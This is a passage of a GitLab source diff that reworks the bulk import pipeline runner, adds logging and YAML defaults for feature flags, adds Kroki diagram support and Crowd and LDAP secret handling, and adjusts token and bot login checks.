end
diff --git a/lib/bulk_imports/groups/pipelines/group_pipeline.rb b/lib/bulk_imports/groups/pipelines/group_pipeline.rb
index 2b7d0ef7658..5169e292180 100644
--- a/lib/bulk_imports/groups/pipelines/group_pipeline.rb
+++ b/lib/bulk_imports/groups/pipelines/group_pipeline.rb
@@ -6,10 +6,13 @@ module BulkImports
class GroupPipeline
include Pipeline
+ abort_on_failure!
+
extractor Common::Extractors::GraphqlExtractor, query: Graphql::GetGroupQuery
- transformer Common::Transformers::GraphqlCleanerTransformer
+ transformer Common::Transformers::HashKeyDigger, key_path: %w[data group]
transformer Common::Transformers::UnderscorifyKeysTransformer
+ transformer Common::Transformers::ProhibitedAttributesTransformer
transformer Groups::Transformers::GroupAttributesTransformer
loader Groups::Loaders::GroupLoader
diff --git a/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline.rb b/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline.rb
index 6384e9d5972..d7e1a118d0b 100644
--- a/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline.rb
+++ b/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline.rb
@@ -7,6 +7,7 @@ module BulkImports
include Pipeline
extractor BulkImports::Groups::Extractors::SubgroupsExtractor
+ transformer Common::Transformers::ProhibitedAttributesTransformer
transformer BulkImports::Groups::Transformers::SubgroupToEntityTransformer
loader BulkImports::Common::Loaders::EntityLoader
end
diff --git a/lib/bulk_imports/importers/group_importer.rb b/lib/bulk_imports/importers/group_importer.rb
index c7253590c87..82cb1ca03a2 100644
--- a/lib/bulk_imports/importers/group_importer.rb
+++ b/lib/bulk_imports/importers/group_importer.rb
@@ -19,6 +19,7 @@ module BulkImports
)
BulkImports::Groups::Pipelines::GroupPipeline.new.run(context)
+ 'BulkImports::EE::Groups::Pipelines::EpicsPipeline'.constantize.new.run(context) if Gitlab.ee?
BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline.new.run(context)
entity.finish!
diff --git a/lib/bulk_imports/pipeline.rb b/lib/bulk_imports/pipeline.rb
index 70e6030ea2c..a44f8fc7193 100644
--- a/lib/bulk_imports/pipeline.rb
+++ b/lib/bulk_imports/pipeline.rb
@@ -3,10 +3,89 @@
module BulkImports
module Pipeline
extend ActiveSupport::Concern
+ include Gitlab::ClassAttributes
included do
- include Attributes
include Runner
+
+ private
+
+ def extractors
+ @extractors ||= self.class.extractors.map(&method(:instantiate))
+ end
+
+ def transformers
+ @transformers ||= self.class.transformers.map(&method(:instantiate))
+ end
+
+ def loaders
+ @loaders ||= self.class.loaders.map(&method(:instantiate))
+ end
+
+ def after_run
+ @after_run ||= self.class.after_run_callback
+ end
+
+ def pipeline
+ @pipeline ||= self.class.name
+ end
+
+ def instantiate(class_config)
+ class_config[:klass].new(class_config[:options])
+ end
+
+ def abort_on_failure?
+ self.class.abort_on_failure?
+ end
+ end
+
+ class_methods do
+ def extractor(klass, options = nil)
+ add_attribute(:extractors, klass, options)
+ end
+
+ def transformer(klass, options = nil)
+ add_attribute(:transformers, klass, options)
+ end
+
+ def loader(klass, options = nil)
+ add_attribute(:loaders, klass, options)
+ end
+
+ def after_run(&block)
+ class_attributes[:after_run] = block
+ end
+
+ def extractors
+ class_attributes[:extractors]
+ end
+
+ def transformers
+ class_attributes[:transformers]
+ end
+
+ def loaders
+ class_attributes[:loaders]
+ end
+
+ def after_run_callback
+ class_attributes[:after_run]
+ end
+
+ def abort_on_failure!
+ class_attributes[:abort_on_failure] = true
+ end
+
+ def abort_on_failure?
+ class_attributes[:abort_on_failure]
+ end
+
+ private
+
+ def add_attribute(sym, klass, options)
+ class_attributes[sym] ||= []
+ class_attributes[sym] << { klass: klass, options: options }
+ end
end
end
end
diff --git a/lib/bulk_imports/pipeline/attributes.rb b/lib/bulk_imports/pipeline/attributes.rb
deleted file mode 100644
index ebfbaf6f6ba..00000000000
--- a/lib/bulk_imports/pipeline/attributes.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-# frozen_string_literal: true
-
-module BulkImports
- module Pipeline
- module Attributes
- extend ActiveSupport::Concern
- include Gitlab::ClassAttributes
-
- class_methods do
- def extractor(klass, options = nil)
- add_attribute(:extractors, klass, options)
- end
-
- def transformer(klass, options = nil)
- add_attribute(:transformers, klass, options)
- end
-
- def loader(klass, options = nil)
- add_attribute(:loaders, klass, options)
- end
-
- def add_attribute(sym, klass, options)
- class_attributes[sym] ||= []
- class_attributes[sym] << { klass: klass, options: options }
- end
-
- def extractors
- class_attributes[:extractors]
- end
-
- def transformers
- class_attributes[:transformers]
- end
-
- def loaders
- class_attributes[:loaders]
- end
- end
- end
- end
-end
diff --git a/lib/bulk_imports/pipeline/runner.rb b/lib/bulk_imports/pipeline/runner.rb
index 04038e50399..88b96f0ab6e 100644
--- a/lib/bulk_imports/pipeline/runner.rb
+++ b/lib/bulk_imports/pipeline/runner.rb
@@ -5,57 +5,102 @@ module BulkImports
module Runner
extend ActiveSupport::Concern
- included do
- private
+ MarkedAsFailedError = Class.new(StandardError)
- def extractors
- @extractors ||= self.class.extractors.map(&method(:instantiate))
- end
+ def run(context)
+ raise MarkedAsFailedError if marked_as_failed?(context)
- def transformers
- @transformers ||= self.class.transformers.map(&method(:instantiate))
- end
+ info(context, message: 'Pipeline started', pipeline_class: pipeline)
- def loaders
- @loaders ||= self.class.loaders.map(&method(:instantiate))
- end
+ extractors.each do |extractor|
+ data = run_pipeline_step(:extractor, extractor.class.name, context) do
+ extractor.extract(context)
+ end
- def pipeline_name
- @pipeline ||= self.class.name
- end
+ if data && data.respond_to?(:each)
+ data.each do |entry|
+ transformers.each do |transformer|
+ entry = run_pipeline_step(:transformer, transformer.class.name, context) do
+ transformer.transform(context, entry)
+ end
+ end
- def instantiate(class_config)
- class_config[:klass].new(class_config[:options])
+ loaders.each do |loader|
+ run_pipeline_step(:loader, loader.class.name, context) do
+ loader.load(context, entry)
+ end
+ end
+ end
+ end
end
+
+ after_run.call(context) if after_run.present?
+ rescue MarkedAsFailedError
+ log_skip(context)
end
- def run(context)
- info(context, message: "Pipeline started", pipeline: pipeline_name)
+ private # rubocop:disable Lint/UselessAccessModifier
- extractors.each do |extractor|
- extractor.extract(context).each do |entry|
- info(context, extractor: extractor.class.name)
+ def run_pipeline_step(type, class_name, context)
+ raise MarkedAsFailedError if marked_as_failed?(context)
- transformers.each do |transformer|
- info(context, transformer: transformer.class.name)
- entry = transformer.transform(context, entry)
- end
+ info(context, type => class_name)
- loaders.each do |loader|
- info(context, loader: loader.class.name)
- loader.load(context, entry)
- end
- end
- end
+ yield
+ rescue MarkedAsFailedError
+ log_skip(context, type => class_name)
+ rescue => e
+ log_import_failure(e, context)
+
+ mark_as_failed(context) if abort_on_failure?
end
- private # rubocop:disable Lint/UselessAccessModifier
+ def mark_as_failed(context)
+ warn(context, message: 'Pipeline failed', pipeline_class: pipeline)
+
+ context.entity.fail_op!
+ end
+
+ def marked_as_failed?(context)
+ return true if context.entity.failed?
+
+ false
+ end
+
+ def log_skip(context, extra = {})
+ log = {
+ message: 'Skipping due to failed pipeline status',
+ pipeline_class: pipeline
+ }.merge(extra)
+
+ info(context, log)
+ end
+
+ def log_import_failure(exception, context)
+ attributes = {
+ bulk_import_entity_id: context.entity.id,
+ pipeline_class: pipeline,
+ exception_class: exception.class.to_s,
+ exception_message: exception.message.truncate(255),
+ correlation_id_value: Labkit::Correlation::CorrelationId.current_or_new_id
+ }
+
+ BulkImports::Failure.create(attributes)
+ end
+
+ def warn(context, extra = {})
+ logger.warn(log_base_params(context).merge(extra))
+ end
def info(context, extra = {})
- logger.info({
- entity: context.entity.id,
- entity_type: context.entity.source_type
- }.merge(extra))
+ logger.info(log_base_params(context).merge(extra))
+ end
+
+ def log_base_params(context)
+ {
+ bulk_import_entity_id: context.entity.id,
+ bulk_import_entity_type: context.entity.source_type
+ }
end
def logger
diff --git a/lib/constraints/project_url_constrainer.rb b/lib/constraints/project_url_constrainer.rb
index 3e9cf2ab320..d41490d2ebd 100644
--- a/lib/constraints/project_url_constrainer.rb
+++ b/lib/constraints/project_url_constrainer.rb
@@ -4,7 +4,7 @@ module Constraints
class ProjectUrlConstrainer
def matches?(request, existence_check: true)
namespace_path = request.params[:namespace_id]
- project_path = request.params[:project_id] || request.params[:id] || request.params[:repository_id]
+ project_path = request.params[:project_id] || request.params[:id]
full_path = [namespace_path, project_path].join('/')
return false unless ProjectPathValidator.valid_path?(full_path)
diff --git a/lib/constraints/repository_redirect_url_constrainer.rb b/lib/constraints/repository_redirect_url_constrainer.rb
new file mode 100644
index 00000000000..44df670d8d3
--- /dev/null
+++ b/lib/constraints/repository_redirect_url_constrainer.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module Constraints
+ class RepositoryRedirectUrlConstrainer
+ def matches?(request)
+ path = request.params[:repository_path].delete_suffix('.git')
+ query = request.query_string
+
+ git_request?(query) && container_path?(path)
+ end
+
+ # Allow /info/refs, /info/refs?service=git-upload-pack, and
+ # /info/refs?service=git-receive-pack, but nothing else.
+ def git_request?(query)
+ query.blank? ||
+ query == 'service=git-upload-pack' ||
+ query == 'service=git-receive-pack'
+ end
+
+ # Check if the path matches any known repository containers.
+ # These also cover wikis, since a `.wiki` suffix is valid in project/group paths too.
+ def container_path?(path)
+ NamespacePathValidator.valid_path?(path) ||
+ ProjectPathValidator.valid_path?(path) ||
+ path =~ Gitlab::PathRegex.full_snippets_repository_path_regex
+ end
+ end
+end
diff --git a/lib/extracts_ref.rb b/lib/extracts_ref.rb
index 34511423d4a..d130a9d6f82 100644
--- a/lib/extracts_ref.rb
+++ b/lib/extracts_ref.rb
@@ -62,8 +62,7 @@ module ExtractsRef
#
# rubocop:disable Gitlab/ModuleWithInstanceVariables
def assign_ref_vars
- @id = get_id
- @ref, @path = extract_ref(@id)
+ @id, @ref, @path = extract_ref_path
@repo = repository_container.repository
raise InvalidPathError if @ref.match?(/\s/)
@@ -76,6 +75,13 @@ module ExtractsRef
@tree ||= @repo.tree(@commit.id, @path) # rubocop:disable Gitlab/ModuleWithInstanceVariables
end
+ def extract_ref_path
+ id = get_id
+ ref, path = extract_ref(id)
+
+ [id, ref, path]
+ end
+
private
def extract_raw_ref(id)
diff --git a/lib/feature.rb b/lib/feature.rb
index 1f8c530bee5..3d4a919b043 100644
--- a/lib/feature.rb
+++ b/lib/feature.rb
@@ -68,6 +68,9 @@ class Feature
Feature::Definition.valid_usage!(key, type: type, default_enabled: default_enabled)
end
+ # If `default_enabled: :yaml` we fetch the value from the YAML definition instead.
+ default_enabled = Feature::Definition.default_enabled?(key) if default_enabled == :yaml
+
# During setup the database does not exist yet. So we haven't stored a value
# for the feature yet and return the default.
return default_enabled unless Gitlab::Database.exists?
@@ -87,40 +90,39 @@ class Feature
end
def enable(key, thing = true)
+ log(key: key, action: __method__, thing: thing)
get(key).enable(thing)
end
def disable(key, thing = false)
+ log(key: key, action: __method__, thing: thing)
get(key).disable(thing)
end
- def enable_group(key, group)
- get(key).enable_group(group)
- end
-
- def disable_group(key, group)
- get(key).disable_group(group)
- end
-
def enable_percentage_of_time(key, percentage)
+ log(key: key, action: __method__, percentage: percentage)
get(key).enable_percentage_of_time(percentage)
end
def disable_percentage_of_time(key)
+ log(key: key, action: __method__)
get(key).disable_percentage_of_time
end
def enable_percentage_of_actors(key, percentage)
+ log(key: key, action: __method__, percentage: percentage)
get(key).enable_percentage_of_actors(percentage)
end
def disable_percentage_of_actors(key)
+ log(key: key, action: __method__)
get(key).disable_percentage_of_actors
end
def remove(key)
return unless persisted_name?(key)
+ log(key: key, action: __method__)
get(key).remove
end
@@ -136,8 +138,6 @@ class Feature
end
def register_definitions
- return unless check_feature_flags_definition?
-
Feature::Definition.reload!
end
@@ -147,6 +147,10 @@ class Feature
Feature::Definition.register_hot_reloader!
end
+ def logger
+ @logger ||= Feature::Logger.build
+ end
+
private
def flipper
@@ -194,6 +198,14 @@ class Feature
def l2_cache_backend
Rails.cache
end
+
+ def log(key:, action:, **extra)
+ extra ||= {}
+ extra = extra.transform_keys { |k| "extra.#{k}" }
+ extra = extra.transform_values { |v| v.respond_to?(:flipper_id) ? v.flipper_id : v }
+ extra = extra.transform_values(&:to_s)
+ logger.info(key: key, action: action, **extra)
+ end
end
class Target
diff --git a/lib/feature/definition.rb b/lib/feature/definition.rb
index 0ba1bdc4799..8d9b2fa5234 100644
--- a/lib/feature/definition.rb
+++ b/lib/feature/definition.rb
@@ -13,6 +13,12 @@ class Feature
end
end
+ TYPES.each do |type, _|
+ define_method("#{type}?") do
+ attributes[:type].to_sym == type
+ end
+ end
+
def initialize(path, opts = {})
@path = path
@attributes = {}
@@ -65,9 +71,7 @@ class Feature
"a valid syntax: #{TYPES.dig(type, :example)}"
end
- # We accept an array of defaults as some features are undefined
- # and have `default_enabled: true/false`
- unless Array(default_enabled).include?(default_enabled_in_code)
+ unless default_enabled_in_code == :yaml || default_enabled == default_enabled_in_code
# Raise exception in test and dev
raise Feature::InvalidFeatureFlagError, "The `default_enabled:` of `#{key}` is not equal to config: " \
"#{default_enabled_in_code} vs #{default_enabled}. Ensure to update #{path}"
@@ -90,12 +94,20 @@ class Feature
@definitions ||= load_all!
end
+ def get(key)
+ definitions[key.to_sym]
+ end
+
def reload!
@definitions = load_all!
end
+ def has_definition?(key)
+ definitions.has_key?(key.to_sym)
+ end
+
def valid_usage!(key, type:, default_enabled:)
- if definition = definitions[key.to_sym]
+ if definition = get(key)
definition.valid_usage!(type_in_code: type, default_enabled_in_code: default_enabled)
elsif type_definition = self::TYPES[type]
raise InvalidFeatureFlagError, "Missing feature definition for `#{key}`" unless type_definition[:optional]
@@ -104,6 +116,17 @@ class Feature
end
end
+ def default_enabled?(key)
+ if definition = get(key)
+ definition.default_enabled
+ else
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(
+ InvalidFeatureFlagError.new("The feature flag YAML definition for '#{key}' does not exist"))
+
+ false
+ end
+ end
+
def register_hot_reloader!
# Reload feature flags on change of this file or any `.yml`
file_watcher = Rails.configuration.file_watcher.new(reload_files, reload_directories) do
@@ -119,10 +142,6 @@ class Feature
private
def load_all!
- # We currently do not load feature flag definitions
- # in production environments
- return [] unless Gitlab.dev_or_test_env?
-
paths.each_with_object({}) do |glob_path, definitions|
load_all_from_path!(definitions, glob_path)
end
diff --git a/lib/feature/logger.rb b/lib/feature/logger.rb
new file mode 100644
index 00000000000..784a619e182
--- /dev/null
+++ b/lib/feature/logger.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Feature
+ class Logger < ::Gitlab::JsonLogger
+ def self.file_name_noext
+ 'features_json'
+ end
+ end
+end
diff --git a/lib/feature/shared.rb b/lib/feature/shared.rb
index 1fcbc8fa173..17dfe26bd82 100644
--- a/lib/feature/shared.rb
+++ b/lib/feature/shared.rb
@@ -23,7 +23,7 @@ class Feature
example: <<-EOS
Feature.enabled?(:my_feature_flag, project)
Feature.enabled?(:my_feature_flag, project, type: :development)
- push_frontend_feature_flag?(:my_feature_flag, project)
+ push_frontend_feature_flag(:my_feature_flag, project)
EOS
},
ops: {
@@ -33,8 +33,8 @@ class Feature
ee_only: false,
default_enabled: false,
example: <<-EOS
- Feature.enabled?(:my_ops_flag, type: ops)
- push_frontend_feature_flag?(:my_ops_flag, project, type: :ops)
+ Feature.enabled?(:my_ops_flag, type: :ops)
+ push_frontend_feature_flag(:my_ops_flag, project, type: :ops)
EOS
},
licensed: {
@@ -48,6 +48,16 @@ class Feature
project.feature_available?(:my_licensed_feature)
namespace.feature_available?(:my_licensed_feature)
EOS
+ },
+ experiment: {
+ description: 'Short lived, used specifically to run A/B/n experiments.',
+ optional: true,
+ rollout_issue: true,
+ ee_only: true,
+ default_enabled: false,
+ example: <<-EOS
+ experiment(:my_experiment, project: project, actor: current_user) { ...variant code... }
+ EOS
}
}.freeze
diff --git a/lib/gitlab.rb b/lib/gitlab.rb
index 43785d165fb..0f2fd01e3c7 100644
--- a/lib/gitlab.rb
+++ b/lib/gitlab.rb
@@ -115,4 +115,10 @@ module Gitlab
'web'
end
+
+ def self.maintenance_mode?
+ return false unless ::Feature.enabled?(:maintenance_mode)
+
+ ::Gitlab::CurrentSettings.maintenance_mode
+ end
end
diff --git a/lib/gitlab/alert_management/payload.rb b/lib/gitlab/alert_management/payload.rb
index 177d544d720..ce09ffd87ee 100644
--- a/lib/gitlab/alert_management/payload.rb
+++ b/lib/gitlab/alert_management/payload.rb
@@ -4,7 +4,8 @@ module Gitlab
module AlertManagement
module Payload
MONITORING_TOOLS = {
- prometheus: 'Prometheus'
+ prometheus: 'Prometheus',
+ cilium: 'Cilium'
}.freeze
class << self
diff --git a/lib/gitlab/analytics/cycle_analytics/default_stages.rb b/lib/gitlab/analytics/cycle_analytics/default_stages.rb
index fc91dd6e138..22aa680cbc1 100644
--- a/lib/gitlab/analytics/cycle_analytics/default_stages.rb
+++ b/lib/gitlab/analytics/cycle_analytics/default_stages.rb
@@ -22,6 +22,10 @@ module Gitlab
]
end
+ def self.find_by_name!(name)
+ all.find { |raw_stage| raw_stage[:name].to_s.eql?(name.to_s) } || raise("Default stage '#{name}' not found")
+ end
+
def self.names
all.map { |stage| stage[:name] }
end
diff --git a/lib/gitlab/application_context.rb b/lib/gitlab/application_context.rb
index b4bbb309c36..84fe3d1c959 100644
--- a/lib/gitlab/application_context.rb
+++ b/lib/gitlab/application_context.rb
@@ -30,7 +30,7 @@ module Gitlab
Labkit::Context.current.to_h.include?(Labkit::Context.log_key(attribute_name))
end
- def initialize(args)
+ def initialize(**args)
unknown_attributes = args.keys - APPLICATION_ATTRIBUTES.map(&:name)
raise ArgumentError, "#{unknown_attributes} are not known keys" if unknown_attributes.any?
diff --git a/lib/gitlab/application_rate_limiter.rb b/lib/gitlab/application_rate_limiter.rb
index e92bbe4f529..fbba86d1253 100644
--- a/lib/gitlab/application_rate_limiter.rb
+++ b/lib/gitlab/application_rate_limiter.rb
@@ -34,7 +34,8 @@ module Gitlab
group_testing_hook: { threshold: 5, interval: 1.minute },
profile_add_new_email: { threshold: 5, interval: 1.minute },
profile_resend_email_confirmation: { threshold: 5, interval: 1.minute },
- update_environment_canary_ingress: { threshold: 1, interval: 1.minute }
+ update_environment_canary_ingress: { threshold: 1, interval: 1.minute },
+ auto_rollback_deployment: { threshold: 1, interval: 3.minutes }
}.freeze
end
diff --git a/lib/gitlab/asciidoc.rb b/lib/gitlab/asciidoc.rb
index 5cacd7e5983..a9c2dd001cb 100644
--- a/lib/gitlab/asciidoc.rb
+++ b/lib/gitlab/asciidoc.rb
@@ -2,6 +2,7 @@
require 'asciidoctor'
require 'asciidoctor-plantuml'
+require 'asciidoctor/extensions/asciidoctor_kroki/extension'
require 'asciidoctor/extensions'
require 'gitlab/asciidoc/html5_converter'
require 'gitlab/asciidoc/mermaid_block_processor'
@@ -23,7 +24,14 @@ module Gitlab
'source-highlighter' => 'gitlab-html-pipeline',
'icons' => 'font',
'outfilesuffix' => '.adoc',
- 'max-include-depth' => MAX_INCLUDE_DEPTH
+ 'max-include-depth' => MAX_INCLUDE_DEPTH,
+ # This feature is disabled because it relies on File#read to read the file.
+ # If we want to enable this feature we will need to provide a "GitLab compatible" implementation.
+ # This attribute is typically used to share common config (skinparam...) across all PlantUML diagrams.
+ # The value can be a path or a URL.
+ 'kroki-plantuml-include!' => '',
+ # This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
+ 'kroki-fetch-diagram!' => ''
}.freeze
def self.path_attrs(path)
@@ -48,12 +56,21 @@ module Gitlab
extensions = proc do
include_processor ::Gitlab::Asciidoc::IncludeProcessor.new(context)
block ::Gitlab::Asciidoc::MermaidBlockProcessor
+ ::Gitlab::Kroki.formats(Gitlab::CurrentSettings).each do |name|
+ block ::AsciidoctorExtensions::KrokiBlockProcessor, name
+ end
end
extra_attrs = path_attrs(context[:requested_path])
asciidoc_opts = { safe: :secure,
backend: :gitlab_html5,
- attributes: DEFAULT_ADOC_ATTRS.merge(extra_attrs),
+ attributes: DEFAULT_ADOC_ATTRS
+ .merge(extra_attrs)
+ .merge({
+ # Define the Kroki server URL from the settings.
+ # This attribute cannot be overridden from the AsciiDoc document.
+ 'kroki-server-url' => Gitlab::CurrentSettings.kroki_url
+ }),
extensions: extensions }
context[:pipeline] = :ascii_doc
diff --git a/lib/gitlab/asciidoc/html5_converter.rb b/lib/gitlab/asciidoc/html5_converter.rb
index e5163e1954c..787eab27503 100644
--- a/lib/gitlab/asciidoc/html5_converter.rb
+++ b/lib/gitlab/asciidoc/html5_converter.rb
@@ -19,6 +19,12 @@ module Gitlab
%(<code#{id_attribute(node)} data-math-style="inline">#{node.text}</code>)
end
+ def convert_inline_anchor(node)
+ node.id = "user-content-#{node.id}" if node.id && !node.id.start_with?('user-content-')
+
+ super(node)
+ end
+
private
def id_attribute(node)
diff --git a/lib/gitlab/auth.rb b/lib/gitlab/auth.rb
index fadd6eb848d..1aabb05f19e 100644
--- a/lib/gitlab/auth.rb
+++ b/lib/gitlab/auth.rb
@@ -196,11 +196,9 @@ module Gitlab
return unless token
- return if project && token.user.project_bot? && !project.bots.include?(token.user)
-
return unless valid_scoped_token?(token, all_available_scopes)
- if token.user.project_bot? || token.user.can?(:log_in)
+ if token.user.can?(:log_in) || token.user.can?(:bot_log_in, project)
Gitlab::Auth::Result.new(token.user, nil, :personal_access_token, abilities_for_scopes(token.scopes))
end
end
@@ -285,7 +283,7 @@ module Gitlab
return unless build.project.builds_enabled?
if build.user
- return unless build.user.can?(:log_in)
+ return unless build.user.can?(:log_in) || build.user.can?(:bot_log_in, build.project)
# If user is assigned to build, use restricted credentials of user
Gitlab::Auth::Result.new(build.user, build.project, :build, build_authentication_abilities)
diff --git a/lib/gitlab/auth/auth_finders.rb b/lib/gitlab/auth/auth_finders.rb
index f3975fe219a..caa881eeeab 100644
--- a/lib/gitlab/auth/auth_finders.rb
+++ b/lib/gitlab/auth/auth_finders.rb
@@ -46,6 +46,7 @@ module Gitlab
def find_user_from_feed_token(request_format)
return unless valid_rss_format?(request_format)
+ return if Gitlab::CurrentSettings.disable_feed_token
# NOTE: feed_token was renamed from rss_token but both needs to be supported because
# users might have already added the feed to their RSS reader before the rename
@@ -193,6 +194,10 @@ module Gitlab
def access_token
strong_memoize(:access_token) do
+ # The token can be a PAT or an OAuth (doorkeeper) token
+ # It is also possible that a PAT is encapsulated in a `Bearer` OAuth token
+ # (e.g. NPM client registry auth), this case will be properly handled
+ # by find_personal_access_token
find_oauth_access_token || find_personal_access_token
end
end
@@ -236,7 +241,7 @@ module Gitlab
end
def matches_personal_access_token_length?(token)
- token.length == PersonalAccessToken::TOKEN_LENGTH
+ PersonalAccessToken::TOKEN_LENGTH_RANGE.include?(token.length)
end
# Check if the request is GET/HEAD, or if CSRF token is valid.
diff --git a/lib/gitlab/auth/crowd/authentication.rb b/lib/gitlab/auth/crowd/authentication.rb
new file mode 100644
index 00000000000..7f3e980034e
--- /dev/null
+++ b/lib/gitlab/auth/crowd/authentication.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Auth
+ module Crowd
+ class Authentication < Gitlab::Auth::OAuth::Authentication
+ def login(login, password)
+ return unless Gitlab::Auth::OAuth::Provider.enabled?(@provider)
+ return unless login.present? && password.present?
+
+ user_info = user_info_from_authentication(login, password)
+ return unless user_info&.key?(:user)
+
+ Gitlab::Auth::OAuth::User.find_by_uid_and_provider(user_info[:user], provider)
+ end
+
+ private
+
+ def config
+ gitlab_crowd_config = Gitlab::Auth::OAuth::Provider.config_for(@provider)
+ raise "OmniAuth Crowd is not configured." unless gitlab_crowd_config && gitlab_crowd_config[:args]
+
+ OmniAuth::Strategies::Crowd::Configuration.new(
+ gitlab_crowd_config[:args].symbolize_keys)
+ end
+
+ def user_info_from_authentication(login, password)
+ validator = OmniAuth::Strategies::Crowd::CrowdValidator.new(
+ config, login, password, RequestContext.instance.client_ip, nil)
+ validator&.user_info&.symbolize_keys
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/auth/ldap/config.rb b/lib/gitlab/auth/ldap/config.rb
index 88cc840c395..f5931a1d5eb 100644
--- a/lib/gitlab/auth/ldap/config.rb
+++ b/lib/gitlab/auth/ldap/config.rb
@@ -53,6 +53,10 @@ module Gitlab
raise InvalidProvider.new("Unknown provider (#{provider}). Available providers: #{providers}")
end
+ def self.encrypted_secrets
+ Settings.encrypted(Gitlab.config.ldap.secret_file)
+ end
+
def initialize(provider)
if self.class.valid_provider?(provider)
@provider = provider
@@ -89,8 +93,8 @@ module Gitlab
if has_auth?
opts.merge!(
- bind_dn: options['bind_dn'],
- password: options['password']
+ bind_dn: auth_username,
+ password: auth_password
)
end
@@ -155,7 +159,7 @@ module Gitlab
end
def has_auth?
- options['password'] || options['bind_dn']
+ auth_password || auth_username
end
def allow_username_or_email_login
@@ -267,12 +271,32 @@ module Gitlab
{
auth: {
method: :simple,
- username: options['bind_dn'],
- password: options['password']
+ username: auth_username,
+ password: auth_password
}
}
end
+ def secrets
+ @secrets ||= self.class.encrypted_secrets[@provider.delete_prefix('ldap').to_sym]
+ rescue => e
+ Gitlab::AppLogger.error "LDAP encrypted secrets are invalid: #{e.inspect}"
+
+ nil
+ end
+
+ def auth_password
+ return options['password'] if options['password']
+
+ secrets&.fetch(:password, nil)&.chomp
+ end
+
+ def auth_username
+ return options['bind_dn'] if options['bind_dn']
+
+ secrets&.fetch(:bind_dn, nil)&.chomp
+ end
+
def omniauth_user_filter
uid_filter = Net::LDAP::Filter.eq(uid, '%{username}')
diff --git a/lib/gitlab/auth/ldap/user.rb b/lib/gitlab/auth/ldap/user.rb
index 1405fb4ab95..814c17b7e44 100644
--- a/lib/gitlab/auth/ldap/user.rb
+++ b/lib/gitlab/auth/ldap/user.rb
@@ -11,16 +11,6 @@ module Gitlab
module Ldap
class User < Gitlab::Auth::OAuth::User
extend ::Gitlab::Utils::Override
- class << self
- # rubocop: disable CodeReuse/ActiveRecord
- def find_by_uid_and_provider(uid, provider)
- identity = ::Identity.with_extern_uid(provider, uid).take
-
- identity && identity.user
- end
- # rubocop: enable CodeReuse/ActiveRecord
- end
-
def save
super('LDAP')
end
@@ -30,10 +20,6 @@ module Gitlab
find_by_uid_and_provider || find_by_email || build_new_user
end
- def find_by_uid_and_provider
- self.class.find_by_uid_and_provider(auth_hash.uid, auth_hash.provider)
- end
-
override :should_save?
def should_save?
gl_user.changed? || gl_user.identities.any?(&:changed?)
diff --git a/lib/gitlab/auth/o_auth/provider.rb b/lib/gitlab/auth/o_auth/provider.rb
index 1eae7af442d..57ff3fcd1f0 100644
--- a/lib/gitlab/auth/o_auth/provider.rb
+++ b/lib/gitlab/auth/o_auth/provider.rb
@@ -18,6 +18,8 @@ module Gitlab
authenticator =
case provider
+ when /crowd/
+ Gitlab::Auth::Crowd::Authentication
when /^ldap/
Gitlab::Auth::Ldap::Authentication
when 'database'
diff --git a/lib/gitlab/auth/o_auth/user.rb b/lib/gitlab/auth/o_auth/user.rb
index 3211d2ffaea..f556a7f40e9 100644
--- a/lib/gitlab/auth/o_auth/user.rb
+++ b/lib/gitlab/auth/o_auth/user.rb
@@ -9,6 +9,16 @@ module Gitlab
module Auth
module OAuth
class User
+ class << self
+ # rubocop: disable CodeReuse/ActiveRecord
+ def find_by_uid_and_provider(uid, provider)
+ identity = ::Identity.with_extern_uid(provider, uid).take
+
+ identity && identity.user
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+ end
+
SignupDisabledError = Class.new(StandardError)
SigninDisabledForProviderError = Class.new(StandardError)
@@ -190,15 +200,12 @@ module Gitlab
@auth_hash = AuthHash.new(auth_hash)
end
- # rubocop: disable CodeReuse/ActiveRecord
def find_by_uid_and_provider
- identity = Identity.with_extern_uid(auth_hash.provider, auth_hash.uid).take
- identity&.user
+ self.class.find_by_uid_and_provider(auth_hash.uid, auth_hash.provider)
end
- # rubocop: enable CodeReuse/ActiveRecord
- def build_new_user
- user_params = user_attributes.merge(skip_confirmation: true)
+ def build_new_user(skip_confirmation: true)
+ user_params = user_attributes.merge(skip_confirmation: skip_confirmation)
Users::BuildService.new(nil, user_params).execute(skip_authorization: true)
end
diff --git a/lib/gitlab/auth/otp/fortinet.rb b/lib/gitlab/auth/otp/fortinet.rb
new file mode 100644
index 00000000000..a561e97dfcd
--- /dev/null
+++ b/lib/gitlab/auth/otp/fortinet.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+module Gitlab
+ module Auth
+ module Otp
+ module Fortinet
+ private
+
+ def forti_authenticator_enabled?(user)
+ ::Gitlab.config.forti_authenticator.enabled &&
+ Feature.enabled?(:forti_authenticator, user)
+ end
+
+ def forti_token_cloud_enabled?(user)
+ ::Gitlab.config.forti_token_cloud.enabled &&
+ Feature.enabled?(:forti_token_cloud, user)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/auth/otp/session_enforcer.rb b/lib/gitlab/auth/otp/session_enforcer.rb
new file mode 100644
index 00000000000..8cc280756cc
--- /dev/null
+++ b/lib/gitlab/auth/otp/session_enforcer.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Auth
+ module Otp
+ class SessionEnforcer
+ OTP_SESSIONS_NAMESPACE = 'session:otp'
+ DEFAULT_EXPIRATION = 15.minutes.to_i
+
+ def initialize(key)
+ @key = key
+ end
+
+ def update_session
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.setex(key_name, DEFAULT_EXPIRATION, true)
+ end
+ end
+
+ def access_restricted?
+ Gitlab::Redis::SharedState.with do |redis|
+ !redis.get(key_name)
+ end
+ end
+
+ private
+
+ attr_reader :key
+
+ def key_name
